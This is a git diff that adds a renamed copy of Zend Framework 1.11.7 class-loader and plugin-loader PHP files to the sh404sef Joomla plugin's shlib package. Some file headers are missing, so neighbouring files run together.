autoload($class) + { + trigger_error(__CLASS__ . '::' . __METHOD__ . ' is deprecated as of 1.8.0 and will be removed with 2.0.0; use Zendshl_Loader_Autoloader instead', E_USER_NOTICE); + try { + @self::loadClass($class); + return $class; + } catch (Exception $e) { + return false; + } + } + + /** + * Register {@link autoload()} with spl_autoload() + * + * @deprecated Since 1.8.0 + * @param string $class (optional) + * @param boolean $enabled (optional) + * @return void + * @throws Zendshl_Exception if spl_autoload() is not found + * or if the specified class does not have an autoload() method. + */ + public static function registerAutoload($class = 'Zendshl_Loader', $enabled = true) + { + trigger_error(__CLASS__ . '::' . __METHOD__ . ' is deprecated as of 1.8.0 and will be removed with 2.0.0; use Zendshl_Loader_Autoloader instead', E_USER_NOTICE); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Autoloader.php'; + $autoloader = Zendshl_Loader_Autoloader::getInstance(); + $autoloader->setFallbackAutoloader(true); + + if ('Zendshl_Loader' != $class) { + self::loadClass($class); + $methods = get_class_methods($class); + if (!in_array('autoload', (array) $methods)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Exception.php'; + throw new Zendshl_Exception("The class \"$class\" does not have an autoload() method"); + } + + $callback = array($class, 'autoload'); + + if ($enabled) { + $autoloader->pushAutoloader($callback); + } else { + $autoloader->removeAutoloader($callback); + } + } + } + + /** + * Ensure that filename does not contain exploits + * + * @param string $filename + * @return void + * @throws Zendshl_Exception + */ + protected static function _securityCheck($filename) + { + /** + * Security check + */ + if (preg_match('/[^a-z0-9\\/\\\\_.:-]/i', $filename)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Exception.php'; + throw new Zendshl_Exception('Security check: Illegal character in filename'); + } + } + + /** + * Attempt to include() the file. + * + * include() is not prefixed with the @ operator because if + * the file is loaded and contains a parse error, execution + * will halt silently and this is difficult to debug. + * + * Always set display_errors = Off on production servers! + * + * @param string $filespec + * @param boolean $once + * @return boolean + * @deprecated Since 1.5.0; use loadFile() instead + */ + protected static function _includeFile($filespec, $once = false) + { + if ($once) { + return include_once $filespec; + } else { + return include $filespec ; + } + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader.php new file mode 100644 index 00000000..2ab0f01a --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader.php @@ -0,0 +1,590 @@ + true, + 'ZendshlX_' => true, + ); + + /** + * @var array Namespace-specific autoloaders + */ + protected $_namespaceAutoloaders = array(); + + /** + * @var bool Whether or not to suppress file not found warnings + */ + protected $_suppressNotFoundWarnings = false; + + /** + * @var null|string + */ + protected $_zfPath; + + /** + * Retrieve singleton instance + * + * @return Zendshl_Loader_Autoloader + */ + public static function getInstance() + { + if (null === self::$_instance) { + self::$_instance = new self(); + } + return self::$_instance; + } + + /** + * Reset the singleton instance + * + * @return void + */ + public static function resetInstance() + { + self::$_instance = null; + } + + /** + * Autoload a class + * + * @param string $class + * @return bool + */ + public static function autoload($class) + { + $self = self::getInstance(); + + foreach ($self->getClassAutoloaders($class) as $autoloader) { + if ($autoloader instanceof Zendshl_Loader_Autoloader_Interface) { + if ($autoloader->autoload($class)) { + return true; + } + } elseif (is_array($autoloader)) { + if (call_user_func($autoloader, $class)) { + return true; + } + } elseif (is_string($autoloader) || is_callable($autoloader)) { + if ($autoloader($class)) { + return true; + } + } + } + + return false; + } + + /** + * Set the default autoloader implementation + * + * @param string|array $callback PHP callback + * @return void + */ + public function setDefaultAutoloader($callback) + { + if (!is_callable($callback)) { + throw new Zendshl_Loader_Exception('Invalid callback specified for default autoloader'); + } + + $this->_defaultAutoloader = $callback; + return $this; + } + + /** + * Retrieve the default autoloader callback + * + * @return string|array PHP Callback + */ + public function getDefaultAutoloader() + { + return $this->_defaultAutoloader; + } + + /** + * Set several autoloader callbacks at once + * + * @param array $autoloaders Array of PHP callbacks (or Zendshl_Loader_Autoloader_Interface implementations) to act as autoloaders + * @return Zendshl_Loader_Autoloader + */ + public function setAutoloaders(array $autoloaders) + { + $this->_autoloaders = $autoloaders; + return $this; + } + + /** + * Get attached autoloader implementations + * + * @return array + */ + public function getAutoloaders() + { + return $this->_autoloaders; + } + + /** + * Return all autoloaders for a given namespace + * + * @param string $namespace + * @return array + */ + public function getNamespaceAutoloaders($namespace) + { + $namespace = (string) $namespace; + if (!array_key_exists($namespace, $this->_namespaceAutoloaders)) { + return array(); + } + return $this->_namespaceAutoloaders[$namespace]; + } + + /** + * Register a namespace to autoload + * + * @param string|array $namespace + * @return Zendshl_Loader_Autoloader + */ + public function registerNamespace($namespace) + { + if (is_string($namespace)) { + $namespace = (array) $namespace; + } elseif (!is_array($namespace)) { + throw new Zendshl_Loader_Exception('Invalid namespace provided'); + } + + foreach ($namespace as $ns) { + if (!isset($this->_namespaces[$ns])) { + $this->_namespaces[$ns] = true; + } + } + return $this; + } + + /** + * Unload a registered autoload namespace + * + * @param string|array $namespace + * @return Zendshl_Loader_Autoloader + */ + public function unregisterNamespace($namespace) + { + if (is_string($namespace)) { + $namespace = (array) $namespace; + } elseif (!is_array($namespace)) { + throw new Zendshl_Loader_Exception('Invalid namespace provided'); + } + + foreach ($namespace as $ns) { + if (isset($this->_namespaces[$ns])) { + unset($this->_namespaces[$ns]); + } + } + return $this; + } + + /** + * Get a list of registered autoload namespaces + * + * @return array + */ + public function getRegisteredNamespaces() + { + return array_keys($this->_namespaces); + } + + public function setZfPath($spec, $version = 'latest') + { + $path = $spec; + if (is_array($spec)) { + if (!isset($spec['path'])) { + throw new Zendshl_Loader_Exception('No path specified for ZF'); + } + $path = $spec['path']; + if (isset($spec['version'])) { + $version = $spec['version']; + } + } + + $this->_zfPath = $spec . '/ZendFramework-1.11.7-minimal/library'; + set_include_path(implode(PATH_SEPARATOR, array( + $this->_zfPath, + get_include_path(), + ))); + return $this; + } + + public function getZfPath() + { + return $this->_zfPath; + } + + /** + * Get or set the value of the "suppress not found warnings" flag + * + * @param null|bool $flag + * @return bool|Zendshl_Loader_Autoloader Returns boolean if no argument is passed, object instance otherwise + */ + public function suppressNotFoundWarnings($flag = null) + { + if (null === $flag) { + return $this->_suppressNotFoundWarnings; + } + $this->_suppressNotFoundWarnings = (bool) $flag; + return $this; + } + + /** + * Indicate whether or not this autoloader should be a fallback autoloader + * + * @param bool $flag + * @return Zendshl_Loader_Autoloader + */ + public function setFallbackAutoloader($flag) + { + $this->_fallbackAutoloader = (bool) $flag; + return $this; + } + + /** + * Is this instance acting as a fallback autoloader? + * + * @return bool + */ + public function isFallbackAutoloader() + { + return $this->_fallbackAutoloader; + } + + /** + * Get autoloaders to use when matching class + * + * Determines if the class matches a registered namespace, and, if so, + * returns only the autoloaders for that namespace. Otherwise, it returns + * all non-namespaced autoloaders. + * + * @param string $class + * @return array Array of autoloaders to use + */ + public function getClassAutoloaders($class) + { + $namespace = false; + $autoloaders = array(); + + // Add concrete namespaced autoloaders + foreach (array_keys($this->_namespaceAutoloaders) as $ns) { + if ('' == $ns) { + continue; + } + if (0 === strpos($class, $ns)) { + if ((false === $namespace) || (strlen($ns) > strlen($namespace))) { + $namespace = $ns; + $autoloaders = $this->getNamespaceAutoloaders($ns); + } + } + } + + // Add internal namespaced autoloader + foreach ($this->getRegisteredNamespaces() as $ns) { + if (0 === strpos($class, $ns)) { + $namespace = $ns; + $autoloaders[] = $this->_internalAutoloader; + break; + } + } + + // Add non-namespaced autoloaders + $autoloadersNonNamespace = $this->getNamespaceAutoloaders(''); + if (count($autoloadersNonNamespace)) { + foreach ($autoloadersNonNamespace as $ns) { + $autoloaders[] = $ns; + } + unset($autoloadersNonNamespace); + } + + // Add fallback autoloader + if (!$namespace && $this->isFallbackAutoloader()) { + $autoloaders[] = $this->_internalAutoloader; + } + + return $autoloaders; + } + + /** + * Add an autoloader to the beginning of the stack + * + * @param object|array|string $callback PHP callback or Zendshl_Loader_Autoloader_Interface implementation + * @param string|array $namespace Specific namespace(s) under which to register callback + * @return Zendshl_Loader_Autoloader + */ + public function unshiftAutoloader($callback, $namespace = '') + { + $autoloaders = $this->getAutoloaders(); + array_unshift($autoloaders, $callback); + $this->setAutoloaders($autoloaders); + + $namespace = (array) $namespace; + foreach ($namespace as $ns) { + $autoloaders = $this->getNamespaceAutoloaders($ns); + array_unshift($autoloaders, $callback); + $this->_setNamespaceAutoloaders($autoloaders, $ns); + } + + return $this; + } + + /** + * Append an autoloader to the autoloader stack + * + * @param object|array|string $callback PHP callback or Zendshl_Loader_Autoloader_Interface implementation + * @param string|array $namespace Specific namespace(s) under which to register callback + * @return Zendshl_Loader_Autoloader + */ + public function pushAutoloader($callback, $namespace = '') + { + $autoloaders = $this->getAutoloaders(); + array_push($autoloaders, $callback); + $this->setAutoloaders($autoloaders); + + $namespace = (array) $namespace; + foreach ($namespace as $ns) { + $autoloaders = $this->getNamespaceAutoloaders($ns); + array_push($autoloaders, $callback); + $this->_setNamespaceAutoloaders($autoloaders, $ns); + } + + return $this; + } + + /** + * Remove an autoloader from the autoloader stack + * + * @param object|array|string $callback PHP callback or Zendshl_Loader_Autoloader_Interface implementation + * @param null|string|array $namespace Specific namespace(s) from which to remove autoloader + * @return Zendshl_Loader_Autoloader + */ + public function removeAutoloader($callback, $namespace = null) + { + if (null === $namespace) { + $autoloaders = $this->getAutoloaders(); + if (false !== ($index = array_search($callback, $autoloaders, true))) { + unset($autoloaders[$index]); + $this->setAutoloaders($autoloaders); + } + + foreach ($this->_namespaceAutoloaders as $ns => $autoloaders) { + if (false !== ($index = array_search($callback, $autoloaders, true))) { + unset($autoloaders[$index]); + $this->_setNamespaceAutoloaders($autoloaders, $ns); + } + } + } else { + $namespace = (array) $namespace; + foreach ($namespace as $ns) { + $autoloaders = $this->getNamespaceAutoloaders($ns); + if (false !== ($index = array_search($callback, $autoloaders, true))) { + unset($autoloaders[$index]); + $this->_setNamespaceAutoloaders($autoloaders, $ns); + } + } + } + + return $this; + } + + /** + * Constructor + * + * Registers instance with spl_autoload stack + * + * @return void + */ + protected function __construct() + { + spl_autoload_register(array(__CLASS__, 'autoload')); + $this->_internalAutoloader = array($this, '_autoload'); + } + + /** + * Internal autoloader implementation + * + * @param string $class + * @return bool + */ + protected function _autoload($class) + { + $callback = $this->getDefaultAutoloader(); + try { + if ($this->suppressNotFoundWarnings()) { + @call_user_func($callback, $class); + } else { + call_user_func($callback, $class); + } + return $class; + } catch (Zendshl_Exception $e) { + return false; + } + } + + /** + * Set autoloaders for a specific namespace + * + * @param array $autoloaders + * @param string $namespace + * @return Zendshl_Loader_Autoloader + */ + protected function _setNamespaceAutoloaders(array $autoloaders, $namespace = '') + { + $namespace = (string) $namespace; + $this->_namespaceAutoloaders[$namespace] = $autoloaders; + return $this; + } + + /** + * Retrieve the filesystem path for the requested ZF version + * + * @param string $path + * @param string $version + * @return void + */ + protected function _getVersionPath($path, $version) + { + $type = $this->_getVersionType($version); + + if ($type == 'latest') { + $version = 'latest'; + } + + $availableVersions = $this->_getAvailableVersions($path, $version); + if (empty($availableVersions)) { + throw new Zendshl_Loader_Exception('No valid ZF installations discovered'); + } + + $matchedVersion = array_pop($availableVersions); + return $matchedVersion; + } + + /** + * Retrieve the ZF version type + * + * @param string $version + * @return string "latest", "major", "minor", or "specific" + * @throws Zendshl_Loader_Exception if version string contains too many dots + */ + protected function _getVersionType($version) + { + if (strtolower($version) == 'latest') { + return 'latest'; + } + + $parts = explode('.', $version); + $count = count($parts); + if (1 == $count) { + return 'major'; + } + if (2 == $count) { + return 'minor'; + } + if (3 < $count) { + throw new Zendshl_Loader_Exception('Invalid version string provided'); + } + return 'specific'; + } + + /** + * Get available versions for the version type requested + * + * @param string $path + * @param string $version + * @return array + */ + protected function _getAvailableVersions($path, $version) + { + if (!is_dir($path)) { + throw new Zendshl_Loader_Exception('Invalid ZF path provided'); + } + + $path = rtrim($path, '/'); + $path = rtrim($path, '\\'); + $versionLen = strlen($version); + $versions = array(); + $dirs = glob("$path/*", GLOB_ONLYDIR); + foreach ((array) $dirs as $dir) { + $dirName = substr($dir, strlen($path) + 1); + if (!preg_match('/^(?:ZendFramework-)?(\d+\.\d+\.\d+((a|b|pl|pr|p|rc)\d+)?)(?:-minimal)?$/i', $dirName, $matches)) { + continue; + } + + $matchedVersion = $matches[1]; + + if (('latest' == $version) + || ((strlen($matchedVersion) >= $versionLen) + && (0 === strpos($matchedVersion, $version))) + ) { + $versions[$matchedVersion] = $dir . '/library'; + } + } + + uksort($versions, 'version_compare'); + return $versions; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Interface.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Interface.php new file mode 100644 index 00000000..7e55fd9a --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Interface.php @@ -0,0 +1,44 @@ +toArray(); + } + if (!is_array($options)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Options must be passed to resource loader constructor'); + } + + $this->setOptions($options); + + $namespace = $this->getNamespace(); + if ((null === $namespace) + || (null === $this->getBasePath()) + ) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Resource loader requires both a namespace and a base path for initialization'); + } + + if (!empty($namespace)) { + $namespace .= '_'; + } + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Autoloader.php'; + Zendshl_Loader_Autoloader::getInstance()->unshiftAutoloader($this, $namespace); + } + + /** + * Overloading: methods + * + * Allow retrieving concrete resource object instances using 'get()' + * syntax. Example: + * + * $loader = new Zendshl_Loader_Autoloader_Resource(array( + * 'namespace' => 'Stuff_', + * 'basePath' => '/path/to/some/stuff', + * )) + * $loader->addResourceType('Model', 'models', 'Model'); + * + * $foo = $loader->getModel('Foo'); // get instance of Stuff_Model_Foo class + * + * + * @param string $method + * @param array $args + * @return mixed + * @throws Zendshl_Loader_Exception if method not beginning with 'get' or not matching a valid resource type is called + */ + public function __call($method, $args) + { + if ('get' == substr($method, 0, 3)) { + $type = strtolower(substr($method, 3)); + if (!$this->hasResourceType($type)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception("Invalid resource type $type; cannot load resource"); + } + if (empty($args)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception("Cannot load resources; no resource specified"); + } + $resource = array_shift($args); + return $this->load($resource, $type); + } + + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception("Method '$method' is not supported"); + } + + /** + * Helper method to calculate the correct class path + * + * @param string $class + * @return False if not matched other wise the correct path + */ + public function getClassPath($class) + { + $segments = explode('_', $class); + $namespaceTopLevel = $this->getNamespace(); + $namespace = ''; + + if (!empty($namespaceTopLevel)) { + $namespace = array(); + $topLevelSegments = count(explode('_', $namespaceTopLevel)); + for ($i = 0; $i < $topLevelSegments; $i++) { + $namespace[] = array_shift($segments); + } + $namespace = implode('_', $namespace); + if ($namespace != $namespaceTopLevel) { + // wrong prefix? we're done + return false; + } + } + + if (count($segments) < 2) { + // assumes all resources have a component and class name, minimum + return false; + } + + $final = array_pop($segments); + $component = $namespace; + $lastMatch = false; + do { + $segment = array_shift($segments); + $component .= empty($component) ? $segment : '_' . $segment; + if (isset($this->_components[$component])) { + $lastMatch = $component; + } + } while (count($segments)); + + if (!$lastMatch) { + return false; + } + + $final = substr($class, strlen($lastMatch) + 1); + $path = $this->_components[$lastMatch]; + $classPath = $path . '/' . str_replace('_', '/', $final) . '.php'; + + if (Zendshl_Loader::isReadable($classPath)) { + return $classPath; + } + + return false; + } + + /** + * Attempt to autoload a class + * + * @param string $class + * @return mixed False if not matched, otherwise result if include operation + */ + public function autoload($class) + { + $classPath = $this->getClassPath($class); + if (false !== $classPath) { + return include $classPath; + } + return false; + } + + /** + * Set class state from options + * + * @param array $options + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setOptions(array $options) + { + // Set namespace first, see ZF-10836 + if (isset($options['namespace'])) { + $this->setNamespace($options['namespace']); + unset($options['namespace']); + } + + $methods = get_class_methods($this); + foreach ($options as $key => $value) { + $method = 'set' . ucfirst($key); + if (in_array($method, $methods)) { + $this->$method($value); + } + } + return $this; + } + + /** + * Set namespace that this autoloader handles + * + * @param string $namespace + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setNamespace($namespace) + { + $this->_namespace = rtrim((string) $namespace, '_'); + return $this; + } + + /** + * Get namespace this autoloader handles + * + * @return string + */ + public function getNamespace() + { + return $this->_namespace; + } + + /** + * Set base path for this set of resources + * + * @param string $path + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setBasePath($path) + { + $this->_basePath = (string) $path; + return $this; + } + + /** + * Get base path to this set of resources + * + * @return string + */ + public function getBasePath() + { + return $this->_basePath; + } + + /** + * Add resource type + * + * @param string $type identifier for the resource type being loaded + * @param string $path path relative to resource base path containing the resource types + * @param null|string $namespace sub-component namespace to append to base namespace that qualifies this resource type + * @return Zendshl_Loader_Autoloader_Resource + */ + public function addResourceType($type, $path, $namespace = null) + { + $type = strtolower($type); + if (!isset($this->_resourceTypes[$type])) { + if (null === $namespace) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Initial definition of a resource type must include a namespace'); + } + $namespaceTopLevel = $this->getNamespace(); + $namespace = ucfirst(trim($namespace, '_')); + $this->_resourceTypes[$type] = array( + 'namespace' => empty($namespaceTopLevel) ? $namespace : $namespaceTopLevel . '_' . $namespace, + ); + } + if (!is_string($path)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Invalid path specification provided; must be string'); + } + $this->_resourceTypes[$type]['path'] = $this->getBasePath() . '/' . rtrim($path, '\/'); + + $component = $this->_resourceTypes[$type]['namespace']; + $this->_components[$component] = $this->_resourceTypes[$type]['path']; + return $this; + } + + /** + * Add multiple resources at once + * + * $types should be an associative array of resource type => specification + * pairs. Each specification should be an associative array containing + * minimally the 'path' key (specifying the path relative to the resource + * base path) and optionally the 'namespace' key (indicating the subcomponent + * namespace to append to the resource namespace). + * + * As an example: + * + * $loader->addResourceTypes(array( + * 'model' => array( + * 'path' => 'models', + * 'namespace' => 'Model', + * ), + * 'form' => array( + * 'path' => 'forms', + * 'namespace' => 'Form', + * ), + * )); + * + * + * @param array $types + * @return Zendshl_Loader_Autoloader_Resource + */ + public function addResourceTypes(array $types) + { + foreach ($types as $type => $spec) { + if (!is_array($spec)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('addResourceTypes() expects an array of arrays'); + } + if (!isset($spec['path'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('addResourceTypes() expects each array to include a paths element'); + } + $paths = $spec['path']; + $namespace = null; + if (isset($spec['namespace'])) { + $namespace = $spec['namespace']; + } + $this->addResourceType($type, $paths, $namespace); + } + return $this; + } + + /** + * Overwrite existing and set multiple resource types at once + * + * @see Zendshl_Loader_Autoloader_Resource::addResourceTypes() + * @param array $types + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setResourceTypes(array $types) + { + $this->clearResourceTypes(); + return $this->addResourceTypes($types); + } + + /** + * Retrieve resource type mappings + * + * @return array + */ + public function getResourceTypes() + { + return $this->_resourceTypes; + } + + /** + * Is the requested resource type defined? + * + * @param string $type + * @return bool + */ + public function hasResourceType($type) + { + return isset($this->_resourceTypes[$type]); + } + + /** + * Remove the requested resource type + * + * @param string $type + * @return Zendshl_Loader_Autoloader_Resource + */ + public function removeResourceType($type) + { + if ($this->hasResourceType($type)) { + $namespace = $this->_resourceTypes[$type]['namespace']; + unset($this->_components[$namespace]); + unset($this->_resourceTypes[$type]); + } + return $this; + } + + /** + * Clear all resource types + * + * @return Zendshl_Loader_Autoloader_Resource + */ + public function clearResourceTypes() + { + $this->_resourceTypes = array(); + $this->_components = array(); + return $this; + } + + /** + * Set default resource type to use when calling load() + * + * @param string $type + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setDefaultResourceType($type) + { + if ($this->hasResourceType($type)) { + $this->_defaultResourceType = $type; + } + return $this; + } + + /** + * Get default resource type to use when calling load() + * + * @return string|null + */ + public function getDefaultResourceType() + { + return $this->_defaultResourceType; + } + + /** + * Object registry and factory + * + * Loads the requested resource of type $type (or uses the default resource + * type if none provided). If the resource has been loaded previously, + * returns the previous instance; otherwise, instantiates it. + * + * @param string $resource + * @param string $type + * @return object + * @throws Zendshl_Loader_Exception if resource type not specified or invalid + */ + public function load($resource, $type = null) + { + if (null === $type) { + $type = $this->getDefaultResourceType(); + if (empty($type)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('No resource type specified'); + } + } + if (!$this->hasResourceType($type)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Invalid resource type specified'); + } + $namespace = $this->_resourceTypes[$type]['namespace']; + $class = $namespace . '_' . ucfirst($resource); + if (!isset($this->_resources[$class])) { + $this->_resources[$class] = new $class; + } + return $this->_resources[$class]; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Exception.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Exception.php new file mode 100644 index 00000000..daeb8f25 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Exception.php @@ -0,0 +1,36 @@ +_useStaticRegistry = $staticRegistryName; + if(!isset(self::$_staticPrefixToPaths[$staticRegistryName])) { + self::$_staticPrefixToPaths[$staticRegistryName] = array(); + } + if(!isset(self::$_staticLoadedPlugins[$staticRegistryName])) { + self::$_staticLoadedPlugins[$staticRegistryName] = array(); + } + } + + foreach ($prefixToPaths as $prefix => $path) { + $this->addPrefixPath($prefix, $path); + } + } + + /** + * Format prefix for internal use + * + * @param string $prefix + * @return string + */ + protected function _formatPrefix($prefix) + { + if($prefix == "") { + return $prefix; + } + + $last = strlen($prefix) - 1; + if ($prefix{$last} == '\\') { + return $prefix; + } + + return rtrim($prefix, '_') . '_'; + } + + /** + * Add prefixed paths to the registry of paths + * + * @param string $prefix + * @param string $path + * @return Zendshl_Loader_PluginLoader + */ + public function addPrefixPath($prefix, $path) + { + if (!is_string($prefix) || !is_string($path)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Zendshl_Loader_PluginLoader::addPrefixPath() method only takes strings for prefix and path.'); + } + + $prefix = $this->_formatPrefix($prefix); + $path = rtrim($path, '/\\') . '/'; + + if ($this->_useStaticRegistry) { + self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix][] = $path; + } else { + if (!isset($this->_prefixToPaths[$prefix])) { + $this->_prefixToPaths[$prefix] = array(); + } + if (!in_array($path, $this->_prefixToPaths[$prefix])) { + $this->_prefixToPaths[$prefix][] = $path; + } + } + return $this; + } + + /** + * Get path stack + * + * @param string $prefix + * @return false|array False if prefix does not exist, array otherwise + */ + public function getPaths($prefix = null) + { + if ((null !== $prefix) && is_string($prefix)) { + $prefix = $this->_formatPrefix($prefix); + if ($this->_useStaticRegistry) { + if (isset(self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix])) { + return self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix]; + } + + return false; + } + + if (isset($this->_prefixToPaths[$prefix])) { + return $this->_prefixToPaths[$prefix]; + } + + return false; + } + + if ($this->_useStaticRegistry) { + return self::$_staticPrefixToPaths[$this->_useStaticRegistry]; + } + + return $this->_prefixToPaths; + } + + /** + * Clear path stack + * + * @param string $prefix + * @return bool False only if $prefix does not exist + */ + public function clearPaths($prefix = null) + { + if ((null !== $prefix) && is_string($prefix)) { + $prefix = $this->_formatPrefix($prefix); + if ($this->_useStaticRegistry) { + if (isset(self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix])) { + unset(self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix]); + return true; + } + + return false; + } + + if (isset($this->_prefixToPaths[$prefix])) { + unset($this->_prefixToPaths[$prefix]); + return true; + } + + return false; + } + + if ($this->_useStaticRegistry) { + self::$_staticPrefixToPaths[$this->_useStaticRegistry] = array(); + } else { + $this->_prefixToPaths = array(); + } + + return true; + } + + /** + * Remove a prefix (or prefixed-path) from the registry + * + * @param string $prefix + * @param string $path OPTIONAL + * @return Zendshl_Loader_PluginLoader + */ + public function removePrefixPath($prefix, $path = null) + { + $prefix = $this->_formatPrefix($prefix); + if ($this->_useStaticRegistry) { + $registry =& self::$_staticPrefixToPaths[$this->_useStaticRegistry]; + } else { + $registry =& $this->_prefixToPaths; + } + + if (!isset($registry[$prefix])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Prefix ' . $prefix . ' was not found in the PluginLoader.'); + } + + if ($path != null) { + $pos = array_search($path, $registry[$prefix]); + if (false === $pos) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Prefix ' . $prefix . ' / Path ' . $path . ' was not found in the PluginLoader.'); + } + unset($registry[$prefix][$pos]); + } else { + unset($registry[$prefix]); + } + + return $this; + } + + /** + * Normalize plugin name + * + * @param string $name + * @return string + */ + protected function _formatName($name) + { + return ucfirst((string) $name); + } + + /** + * Whether or not a Plugin by a specific name is loaded + * + * @param string $name + * @return Zendshl_Loader_PluginLoader + */ + public function isLoaded($name) + { + $name = $this->_formatName($name); + if ($this->_useStaticRegistry) { + return isset(self::$_staticLoadedPlugins[$this->_useStaticRegistry][$name]); + } + + return isset($this->_loadedPlugins[$name]); + } + + /** + * Return full class name for a named plugin + * + * @param string $name + * @return string|false False if class not found, class name otherwise + */ + public function getClassName($name) + { + $name = $this->_formatName($name); + if ($this->_useStaticRegistry + && isset(self::$_staticLoadedPlugins[$this->_useStaticRegistry][$name]) + ) { + return self::$_staticLoadedPlugins[$this->_useStaticRegistry][$name]; + } elseif (isset($this->_loadedPlugins[$name])) { + return $this->_loadedPlugins[$name]; + } + + return false; + } + + /** + * Get path to plugin class + * + * @param mixed $name + * @return string|false False if not found + */ + public function getClassPath($name) + { + $name = $this->_formatName($name); + if ($this->_useStaticRegistry + && !empty(self::$_staticLoadedPluginPaths[$this->_useStaticRegistry][$name]) + ) { + return self::$_staticLoadedPluginPaths[$this->_useStaticRegistry][$name]; + } elseif (!empty($this->_loadedPluginPaths[$name])) { + return $this->_loadedPluginPaths[$name]; + } + + if ($this->isLoaded($name)) { + $class = $this->getClassName($name); + $r = new ReflectionClass($class); + $path = $r->getFileName(); + if ($this->_useStaticRegistry) { + self::$_staticLoadedPluginPaths[$this->_useStaticRegistry][$name] = $path; + } else { + $this->_loadedPluginPaths[$name] = $path; + } + return $path; + } + + return false; + } + + /** + * Load a plugin via the name provided + * + * @param string $name + * @param bool $throwExceptions Whether or not to throw exceptions if the + * class is not resolved + * @return string|false Class name of loaded class; false if $throwExceptions + * if false and no class found + * @throws Zendshl_Loader_Exception if class not found + */ + public function load($name, $throwExceptions = true) + { + $name = $this->_formatName($name); + if ($this->isLoaded($name)) { + return $this->getClassName($name); + } + + if ($this->_useStaticRegistry) { + $registry = self::$_staticPrefixToPaths[$this->_useStaticRegistry]; + } else { + $registry = $this->_prefixToPaths; + } + + $registry = array_reverse($registry, true); + $found = false; + $classFile = str_replace('_', DIRECTORY_SEPARATOR, $name) . '.php'; + $incFile = self::getIncludeFileCache(); + foreach ($registry as $prefix => $paths) { + $className = $prefix . $name; + + if (class_exists($className, false)) { + $found = true; + break; + } + + $paths = array_reverse($paths, true); + + foreach ($paths as $path) { + $loadFile = $path . $classFile; + if (Zendshl_Loader::isReadable($loadFile)) { + include_once $loadFile; + if (class_exists($className, false)) { + if (null !== $incFile) { + self::_appendIncFile($loadFile); + } + $found = true; + break 2; + } + } + } + } + + if (!$found) { + if (!$throwExceptions) { + return false; + } + + $message = "Plugin by name '$name' was not found in the registry; used paths:"; + foreach ($registry as $prefix => $paths) { + $message .= "\n$prefix: " . implode(PATH_SEPARATOR, $paths); + } + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception($message); + } + + if 